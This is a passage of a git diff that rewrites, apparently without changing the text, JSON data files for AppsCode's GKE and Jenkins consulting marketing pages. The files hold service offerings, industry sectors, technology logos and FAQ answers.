scanning with Artifact Analysis and Trivy.", - "Ensure compliance with ISO, HIPAA, SOC 2, and GDPR standards." - ], - "image": "/assets/images/services/kubernetes-devsecops-compliance.png" - }, - { - "title": "Enterprise GKE Support & Training", - "description": "AppsCode provides continuous GKE support, training, and managed services to ensure operational excellence and long-term stability.", - "offerings": [ - "Real-time monitoring, backup, and disaster recovery using Stash.", - "Training for DevOps teams to manage GKE independently.", - "Cost management and resource optimization for GKE clusters." - ], - "image": "/assets/images/services/kubernetes-enterprise-support-training.png" - } - ] - }, - "industries": { - "title": "Industry Expertise in GKE Consulting", - "subtitle": "Our GKE consulting services empower over 100 clients across regulated industries with high-performance, compliant, and reliable infrastructure.", - "additional_text": "We serve global enterprises and startups with deep expertise in cloud-native and GKE solutions.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Highly available, compliant systems for secure 24/7 transactions." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Integrate AI and manage GPU servers for high-performance SaaS platforms." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Leverage AI & ML to meet customer expectations while ensuring safety and sustainability." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Modernize systems for inspections, monitoring, and cost reduction." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Use cloud GPU instances for fast, secure processing of patient data." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless operations and instant updates with scalable systems." - } - ] - }, - "tech_stack": { - "title": "Our GKE Technology Expertise", - "subtitle": "We use proven cloud-native tools and frameworks to deliver enterprise-grade GKE consulting services.", - "technologies": [ - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Ready to Accelerate with GKE Consulting Services?", - "subtitle": "Get expert GKE consulting, managed support, and hands-on training to optimize your cloud-native infrastructure.", - "buttons": [ - { - "text": "Talk to a GKE Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why AppsCode is the Right GKE Consulting Partner?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Google Cloud Partner", - "description": "AppsCode is a Google Cloud partner with deep expertise in GKE, Cloud Run, BigQuery, and the full Google Cloud portfolio." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "World-Class GKE Expertise", - "description": "50+ engineers specializing in GKE, Kubernetes, containers, and cloud-native platforms — helping you build, scale, and automate with confidence." - }, - { - "icon": "fa fa-trophy", - "title": "Industry Leadership", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise on GKE." - }, - { - "icon": "fa fa-graduation-cap", - "title": "GKE Training Programs", - "description": "Hands-on GKE workshops and cloud-native upskilling for DevOps teams." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Scalable Dedicated Teams", - "description": "Easily scale your engineering teams with AppsCode's GKE experts." - } - ] - }, - "partner_listing": { - "title": "Our Products on Google Cloud", - "subtitle": "AppsCode products are deployable on Google Kubernetes Engine. Get started with KubeDB, KubeStash, and Voyager on GKE.", - "products": [ - { - "name": "KubeDB on GKE", - "description": "Run production-grade databases on Google Kubernetes Engine — Provisioning, Upgrading, Scaling, Monitoring, Backup & Restore for 25+ database engines.", - "url": "https://kubedb.com/", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash on GKE", - "description": "Enterprise-grade backup and disaster recovery for GKE workloads with deduplication and encryption to GCS.", - "url": "https://kubestash.com/", - "logo": "/assets/images/technical-expertise/stash.svg" - } - ] - }, - "faq": [ - { - "question": "What do your GKE Consulting Services include?", - "answer": "Our GKE Consulting Services cover the full lifecycle of designing, deploying, and managing GKE clusters. From architecture design, cluster provisioning, and CI/CD integration to monitoring, scaling, and optimization, we help organizations run reliable and secure containerized workloads at scale on Google Kubernetes Engine." - }, - { - "question": "Is AppsCode a Google Cloud partner?", - "answer": "Yes — AppsCode is a Google Cloud partner with deep expertise in GKE, Cloud Run, BigQuery, and the full Google Cloud portfolio. Our products are deployable on GKE and integrated with Google Cloud services." - }, - { - "question": "Which technologies and practices are used in GKE consulting?", - "answer": "We leverage GKE, Terraform, Config Connector, Helm charts, operators, containerization, CI/CD pipelines, infrastructure as code, observability (Cloud Monitoring, Prometheus, Grafana), and hybrid/multi-cloud deployment patterns to ensure scalable and resilient GKE environments." - }, - { - "question": "Can you work with our existing GKE clusters or GCP-native stack?", - "answer": "Yes — we integrate with your current GKE clusters and workloads, optimize performance, implement best practices, and guide teams in building production-ready, secure, and maintainable GKE deployments." - }, - { - "question": "What is the typical timeline and engagement model for GKE Consulting Services?", - "answer": "Engagements typically begin with a 1–2 week assessment phase to understand your environment and requirements. Implementation follows in 4–8 week agile sprints. We offer flexible engagement models including fixed-scope projects, time-and-materials consulting, or long-term GKE advisory partnerships." - }, - { - "question": "Do you support hybrid and multi-cloud GKE deployments?", - "answer": "Absolutely. Our GKE Consulting Services are designed for portability and consistency across Google Cloud and other cloud environments, ensuring seamless operations and scalability across environments." - }, - { - "question": "How do you ensure security, reliability, and operational efficiency in GKE?", - "answer": "We enforce security best practices including Workload Identity, RBAC, network policies, Binary Authorization, and vulnerability scanning. Reliability is ensured with monitoring, backup/recovery strategies, and disaster resilience patterns. Operational efficiency is achieved through automation, CI/CD integration, and resource optimization." - }, - { - "question": "What happens after GKE consulting and implementation?", - "answer": "After deployment, we provide ongoing operational guidance, monitoring, performance tuning, and scaling recommendations. Our GKE Consulting Services also include training, knowledge transfer, and best practice documentation for your teams." - }, - { - "question": "How much do GKE Consulting Services cost, and what are the pricing models?", - "answer": "Costs vary depending on the complexity of your clusters, number of workloads, and support needs. We offer fixed-scope projects, hourly engagements, and long-term consulting retainers. A detailed proposal is provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "Google GKE Consulting Services by Experts", + "subtitle": "AppsCode is a Google Cloud partner — delivering expert GKE consulting, deployment, optimization, and managed enterprise support.", + "cta_text": "Talk to a GKE Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/kubernetes-consulting.png", + "alt": "Google GKE Consulting Services by AppsCode" + } + }, + "trusted_by": { + "title": "Trusted by Leading Enterprises Worldwide" + }, + "title_with_small_cards": { + "title": "Why Choose Our GKE Consulting Services?", + "areas": [ + { + "icon": "fa fa-lightbulb-o", + "title": "Agile & Scalable GKE Architecture" + }, + { + "icon": "fa fa-tachometer", + "title": "High-Performance GKE Deployments" + }, + { + "icon": "fa fa-cogs", + "title": "Accelerated App Development on GKE" + }, + { + "icon": "fa fa-money", + "title": "Optimize Google Cloud Costs" + }, + { + "icon": "fa fa-cloud", + "title": "Multi-Cloud & Hybrid Kubernetes Flexibility" + }, + { + "icon": "fa fa-shield", + "title": "Self-Healing & Secure Container Environments" + }, + { + "icon": "fa fa-arrows-alt", + "title": "Migrate & Containerize Legacy Applications" + }, + { + "icon": "fa fa-repeat", + "title": "Automated CI/CD Rollouts & Rollbacks" + } + ] + }, + "service_details": { + "title": "Our End-to-End GKE Consulting Services", + "subtitle": "As a Google Cloud partner and CNCF Silver Member, AppsCode delivers expert GKE consulting — from planning to production management.", + "sections": [ + { + "title": "GKE Advisory & Assessment", + "description": "Start your GKE journey with confidence. Our experts assess your current Google Cloud infrastructure, plan seamless migration to GKE, and design a scalable architecture optimized for your workloads.", + "offerings": [ + "Conduct GCP infrastructure audits and plan GKE adoption.", + "Create a roadmap for efficient GKE deployment across regions.", + "Provide detailed cost analysis and workload optimization." + ], + "image": "/assets/images/services/kubernetes-advisory.png" + }, + { + "title": "Application Development & Migration", + "description": "Modernize your workloads with GKE-native applications and migrate monoliths into containerized microservices for better agility and performance.", + "offerings": [ + "Develop GKE-ready applications using Go, Java, and Python.", + "Break monolithic architectures into resilient microservices.", + "Implement centralized management across multi-cluster GKE environments." + ], + "image": "/assets/images/services/kubernetes-application-development.png" + }, + { + "title": "GKE Deployment & Operations", + "description": "Deploy production-grade GKE clusters with high availability, resilience, and observability built in, leveraging native Google Cloud integrations.", + "offerings": [ + "Provision auto-healing GKE clusters using Terraform, Crossplane, and Config Connector.", + "Integrate observability with Cloud Monitoring, Cloud Logging, Prometheus, and Grafana.", + "Automate cluster scaling, upgrades, and security policies." + ], + "image": "/assets/images/services/kubernetes-deployment-partner.png" + }, + { + "title": "DevSecOps, Security & Compliance", + "description": "Shift security left in your GKE lifecycle. Our DevSecOps services ensure compliance and security at every layer of your containerized environment.", + "offerings": [ + "Implement Workload Identity, RBAC, Binary Authorization, and VPC Service Controls.", + "Automate container image scanning with Artifact Analysis and Trivy.", + "Ensure compliance with ISO, HIPAA, SOC 2, and GDPR standards." + ], + "image": "/assets/images/services/kubernetes-devsecops-compliance.png" + }, + { + "title": "Enterprise GKE Support & Training", + "description": "AppsCode provides continuous GKE support, training, and managed services to ensure operational excellence and long-term stability.", + "offerings": [ + "Real-time monitoring, backup, and disaster recovery using Stash.", + "Training for DevOps teams to manage GKE independently.", + "Cost management and resource optimization for GKE clusters." + ], + "image": "/assets/images/services/kubernetes-enterprise-support-training.png" + } + ] + }, + "industries": { + "title": "Industry Expertise in GKE Consulting", + "subtitle": "Our GKE consulting services empower over 100 clients across regulated industries with high-performance, compliant, and reliable infrastructure.", + "additional_text": "We serve global enterprises and startups with deep expertise in cloud-native and GKE solutions.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Highly available, compliant systems for secure 24/7 transactions." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Integrate AI and manage GPU servers for high-performance SaaS platforms." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Leverage AI & ML to meet customer expectations while ensuring safety and sustainability." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Modernize systems for inspections, monitoring, and cost reduction." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Use cloud GPU instances for fast, secure processing of patient data." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless operations and instant updates with scalable systems." + } + ] + }, + "tech_stack": { + "title": "Our GKE Technology Expertise", + "subtitle": "We use proven cloud-native tools and frameworks to deliver enterprise-grade GKE consulting services.", + "technologies": [ + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Ready to Accelerate with GKE Consulting Services?", + "subtitle": "Get expert GKE consulting, managed support, and hands-on training to optimize your cloud-native infrastructure.", + "buttons": [ + { + "text": "Talk to a GKE Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why AppsCode is the Right GKE Consulting Partner?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Google Cloud Partner", + "description": "AppsCode is a Google Cloud partner with deep expertise in GKE, Cloud Run, BigQuery, and the full Google Cloud portfolio." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "World-Class GKE Expertise", + "description": "50+ engineers specializing in GKE, Kubernetes, containers, and cloud-native platforms — helping you build, scale, and automate with confidence." + }, + { + "icon": "fa fa-trophy", + "title": "Industry Leadership", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise on GKE." + }, + { + "icon": "fa fa-graduation-cap", + "title": "GKE Training Programs", + "description": "Hands-on GKE workshops and cloud-native upskilling for DevOps teams." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Scalable Dedicated Teams", + "description": "Easily scale your engineering teams with AppsCode's GKE experts." + } + ] + }, + "partner_listing": { + "title": "Our Products on Google Cloud", + "subtitle": "AppsCode products are deployable on Google Kubernetes Engine. Get started with KubeDB, KubeStash, and Voyager on GKE.", + "products": [ + { + "name": "KubeDB on GKE", + "description": "Run production-grade databases on Google Kubernetes Engine — Provisioning, Upgrading, Scaling, Monitoring, Backup & Restore for 25+ database engines.", + "url": "https://kubedb.com/", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash on GKE", + "description": "Enterprise-grade backup and disaster recovery for GKE workloads with deduplication and encryption to GCS.", + "url": "https://kubestash.com/", + "logo": "/assets/images/technical-expertise/stash.svg" + } + ] + }, + "faq": [ + { + "question": "What do your GKE Consulting Services include?", + "answer": "Our GKE Consulting Services cover the full lifecycle of designing, deploying, and managing GKE clusters. From architecture design, cluster provisioning, and CI/CD integration to monitoring, scaling, and optimization, we help organizations run reliable and secure containerized workloads at scale on Google Kubernetes Engine." + }, + { + "question": "Is AppsCode a Google Cloud partner?", + "answer": "Yes — AppsCode is a Google Cloud partner with deep expertise in GKE, Cloud Run, BigQuery, and the full Google Cloud portfolio. Our products are deployable on GKE and integrated with Google Cloud services." + }, + { + "question": "Which technologies and practices are used in GKE consulting?", + "answer": "We leverage GKE, Terraform, Config Connector, Helm charts, operators, containerization, CI/CD pipelines, infrastructure as code, observability (Cloud Monitoring, Prometheus, Grafana), and hybrid/multi-cloud deployment patterns to ensure scalable and resilient GKE environments." + }, + { + "question": "Can you work with our existing GKE clusters or GCP-native stack?", + "answer": "Yes — we integrate with your current GKE clusters and workloads, optimize performance, implement best practices, and guide teams in building production-ready, secure, and maintainable GKE deployments." + }, + { + "question": "What is the typical timeline and engagement model for GKE Consulting Services?", + "answer": "Engagements typically begin with a 1–2 week assessment phase to understand your environment and requirements. Implementation follows in 4–8 week agile sprints. We offer flexible engagement models including fixed-scope projects, time-and-materials consulting, or long-term GKE advisory partnerships." + }, + { + "question": "Do you support hybrid and multi-cloud GKE deployments?", + "answer": "Absolutely. Our GKE Consulting Services are designed for portability and consistency across Google Cloud and other cloud environments, ensuring seamless operations and scalability across environments." + }, + { + "question": "How do you ensure security, reliability, and operational efficiency in GKE?", + "answer": "We enforce security best practices including Workload Identity, RBAC, network policies, Binary Authorization, and vulnerability scanning. Reliability is ensured with monitoring, backup/recovery strategies, and disaster resilience patterns. Operational efficiency is achieved through automation, CI/CD integration, and resource optimization." + }, + { + "question": "What happens after GKE consulting and implementation?", + "answer": "After deployment, we provide ongoing operational guidance, monitoring, performance tuning, and scaling recommendations. Our GKE Consulting Services also include training, knowledge transfer, and best practice documentation for your teams." + }, + { + "question": "How much do GKE Consulting Services cost, and what are the pricing models?", + "answer": "Costs vary depending on the complexity of your clusters, number of workloads, and support needs. We offer fixed-scope projects, hourly engagements, and long-term consulting retainers. A detailed proposal is provided after the assessment phase." + } + ] +} diff --git a/data/services/application-modernization/jenkins_consulting_support.json b/data/services/application-modernization/jenkins_consulting_support.json index 1f8ee1fc4e..a6bee39b3a 100644 --- a/data/services/application-modernization/jenkins_consulting_support.json +++ b/data/services/application-modernization/jenkins_consulting_support.json @@ -1,302 +1,302 @@ -{ - "hero": { - "title": "Enterprise Jenkins Consulting & Professional Support Services", - "subtitle": "Accelerate your CI/CD transformation with expert-led Jenkins implementation, optimization, and enterprise-grade support from AppsCode.", - "cta_text": "Schedule a Free Consultation", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/jenkins-consulting-enterprise-support.png", - "alt": "Jenkins Consulting & Professional Support Services" - } - }, - "trusted_by": { - "title": "Trusted by Global Enterprises and High-Growth Startups" - }, - "title_with_small_cards": { - "title": "Why Choose Jenkins Professional Support", - "areas": [ - { - "icon": "fa fa-check", - "title": "Implement Fail-Fast CI/CD Workflows" - }, - { - "icon": "fa fa-rocket", - "title": "Accelerate Software Delivery Lifecycle" - }, - { - "icon": "fa fa-clock-o", - "title": "Reduce Deployment & Release Time" - }, - { - "icon": "fa fa-gears", - "title": "Increase Automation Across Pipelines" - }, - { - "icon": "fa fa-puzzle-piece", - "title": "Customize Jenkins with Plugin Ecosystem" - }, - { - "icon": "fa fa-cogs", - "title": "Seamlessly Integrate Third-Party DevOps Tools" - } - ] - }, - "service_details": { - "title": "Jenkins Consulting & Enterprise Support Capabilities", - "subtitle": "AppsCode provides tailored Jenkins consulting, training, and managed services to optimize CI/CD pipelines across enterprises.", - "sections": [ - { - "title": "Automate CI/CD with Jenkins Best Practices", - "description": "Our certified Jenkins engineers assess your existing infrastructure and build optimized CI/CD pipelines to improve efficiency, reliability, and scalability.", - "offerings": [ - "Implement automated Jenkins pipelines following industry standards and best practices.", - "Deliver cost-effective, scalable, and resilient CI/CD frameworks customized for your business.", - "Optimize build-deploy-test cycles and reduce manual interventions." - ], - "image": "/assets/images/services/jenkins-consulting-best-practices.png" - }, - { - "title": "Enable DevOps Transformation with Jenkins", - "description": "Integrate Jenkins within your DevOps ecosystem using a shift-left approach to enable faster releases and continuous feedback loops.", - "offerings": [ - "Convert manual pipelines into dynamic, version-controlled pipeline-as-code models.", - "Integrate Jenkins with Jira, Confluence, Git, and other enterprise tools for streamlined workflows.", - "Implement RBAC, SSO, and auditing for enterprise-grade governance and compliance." - ], - "image": "/assets/images/services/jenkins-consulting-devops.png" - }, - { - "title": "Optimize Developer Productivity", - "description": "Reduce repetitive workloads and accelerate feature testing with automated branch acceptance testing (BAT) and CI/CD orchestration.", - "offerings": [ - "Automate branch-level testing and environment provisioning for faster feedback.", - "Integrate automated test suites to ensure higher code quality.", - "Enable continuous deployment pipelines to staging and production environments." - ], - "image": "/assets/images/services/jenkins-consulting-dev-lifecycle.png" - }, - { - "title": "Accelerate Release & Delivery Management", - "description": "Streamline artifact management and automate delivery cycles to achieve faster time-to-market.", - "offerings": [ - "Automate artifact creation and promotion across environments for reliable QA.", - "Reduce delivery bottlenecks with end-to-end CI/CD pipeline automation." - ], - "image": "/assets/images/services/jenkins-consulting-delivery-time.png" - }, - { - "title": "Jenkins Training & Managed Support", - "description": "Empower your DevOps teams with hands-on Jenkins training and continuous managed support for sustainable CI/CD operations.", - "offerings": [ - "Upskill engineering teams with Jenkins and CI/CD best practices workshops.", - "Provide ongoing expert support for maintenance, troubleshooting, and upgrades.", - "Deliver proactive performance tuning and risk management strategies." - ], - "image": "/assets/images/services/jenkins-consulting-training-support.png" - } - ] - }, - "industries": { - "title": "Industry Expertise", - "subtitle": "With experience serving 100+ clients, we understand critical compliance, operational challenges, and delivering first-time-right solutions.", - "additional_text": "From global enterprises to high-growth startups, we deliver scalable and efficient CI/CD solutions.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Enable highly available, compliant CI/CD pipelines for secure financial operations." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Integrate Jenkins in high-performance cloud environments for SaaS and AI workloads." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Leverage automation to meet customer expectations and ensure system reliability." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Modernize CI/CD processes to improve inspections, monitoring, and operational efficiency." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Ensure rapid, reliable deployment of applications for critical healthcare systems." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless operations with automated pipelines, scalable systems, and instant updates." - } - ] - }, - "tech_stack": { - "title": "Diverse Technical Expertise", - "subtitle": "Our certified consultants are skilled in:", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Looking for Jenkins Enterprise Support?", - "subtitle": "Consult our experts to build, deploy, and test your CI/CD pipelines faster and more efficiently.", - "buttons": [ - { - "text": "Consult a Jenkins Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why AppsCode is the Preferred Jenkins Consulting Partner?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Developers", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." - }, - { - "icon": "fa fa-briefcase", - "title": "Domain Expertise", - "description": "Deliver best practices in DevOps and CI/CD learned from 100+ client engagements." - }, - { - "icon": "fa fa-trophy", - "title": "First Mover Advantage", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Hands-On Training", - "description": "Practical training focused on core CI/CD concepts and real-world Jenkins applications." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Scale Teams Easily", - "description": "Expand engineering teams quickly without hiring or training overhead." - } - ] - }, - "faq": [ - { - "question": "What do your Jenkins Consulting & Professional Support Services include?", - "answer": "Our Jenkins Consulting & Professional Support Services help organizations implement, optimize, and maintain Jenkins-based CI/CD pipelines. We cover setup, configuration, plugin management, pipeline automation, monitoring, and best practices to ensure reliable, scalable, and maintainable continuous integration and delivery workflows." - }, - { - "question": "Which technologies and practices are used in Jenkins consulting?", - "answer": "We leverage Jenkins, Jenkins X, pipeline as code, Docker, Kubernetes, Git-based workflows, automated testing, and monitoring tools. Our approach ensures efficient CI/CD pipelines, integrated DevOps workflows, and seamless deployments across cloud-native and on-premises environments." - }, - { - "question": "Can you work with our existing Jenkins infrastructure?", - "answer": "Yes — we assess your current Jenkins setup, optimize pipelines, implement best practices, and provide guidance to integrate with your existing development workflows, ensuring faster, reliable, and repeatable deployments." - }, - { - "question": "What is the typical timeline and engagement model for Jenkins Consulting & Professional Support Services?", - "answer": "Engagements typically start with a 1–2 week assessment of your Jenkins environment and CI/CD processes. Implementation follows in 4–8 week sprints depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term support contracts." - }, - { - "question": "Do Jenkins Consulting Services support multi-cloud or hybrid deployments?", - "answer": "Absolutely. Our services enable Jenkins pipelines to work across AWS, Azure, GCP, and on-premises environments, ensuring consistent and reliable CI/CD processes across platforms." - }, - { - "question": "How do you ensure security, reliability, and efficiency in Jenkins pipelines?", - "answer": "We enforce best practices including access control, plugin management, secrets handling, automated testing, monitoring, and disaster recovery strategies to maintain secure, reliable, and efficient Jenkins pipelines." - }, - { - "question": "What happens after Jenkins consulting and implementation?", - "answer": "After implementation, we provide ongoing operational guidance, support, and optimization. Our services include knowledge transfer, training, and recommendations for continuous improvements to maintain robust Jenkins pipelines." - }, - { - "question": "How much do Jenkins Consulting & Professional Support Services cost, and what are the pricing models?", - "answer": "Pricing depends on pipeline complexity, number of teams, and support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "Enterprise Jenkins Consulting & Professional Support Services", + "subtitle": "Accelerate your CI/CD transformation with expert-led Jenkins implementation, optimization, and enterprise-grade support from AppsCode.", + "cta_text": "Schedule a Free Consultation", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/jenkins-consulting-enterprise-support.png", + "alt": "Jenkins Consulting & Professional Support Services" + } + }, + "trusted_by": { + "title": "Trusted by Global Enterprises and High-Growth Startups" + }, + "title_with_small_cards": { + "title": "Why Choose Jenkins Professional Support", + "areas": [ + { + "icon": "fa fa-check", + "title": "Implement Fail-Fast CI/CD Workflows" + }, + { + "icon": "fa fa-rocket", + "title": "Accelerate Software Delivery Lifecycle" + }, + { + "icon": "fa fa-clock-o", + "title": "Reduce Deployment & Release Time" + }, + { + "icon": "fa fa-gears", + "title": "Increase Automation Across Pipelines" + }, + { + "icon": "fa fa-puzzle-piece", + "title": "Customize Jenkins with Plugin Ecosystem" + }, + { + "icon": "fa fa-cogs", + "title": "Seamlessly Integrate Third-Party DevOps Tools" + } + ] + }, + "service_details": { + "title": "Jenkins Consulting & Enterprise Support Capabilities", + "subtitle": "AppsCode provides tailored Jenkins consulting, training, and managed services to optimize CI/CD pipelines across enterprises.", + "sections": [ + { + "title": "Automate CI/CD with Jenkins Best Practices", + "description": "Our certified Jenkins engineers assess your existing infrastructure and build optimized CI/CD pipelines to improve efficiency, reliability, and scalability.", + "offerings": [ + "Implement automated Jenkins pipelines following industry standards and best practices.", + "Deliver cost-effective, scalable, and resilient CI/CD frameworks customized for your business.", + "Optimize build-deploy-test cycles and reduce manual interventions." + ], + "image": "/assets/images/services/jenkins-consulting-best-practices.png" + }, + { + "title": "Enable DevOps Transformation with Jenkins", + "description": "Integrate Jenkins within your DevOps ecosystem using a shift-left approach to enable faster releases and continuous feedback loops.", + "offerings": [ + "Convert manual pipelines into dynamic, version-controlled pipeline-as-code models.", + "Integrate Jenkins with Jira, Confluence, Git, and other 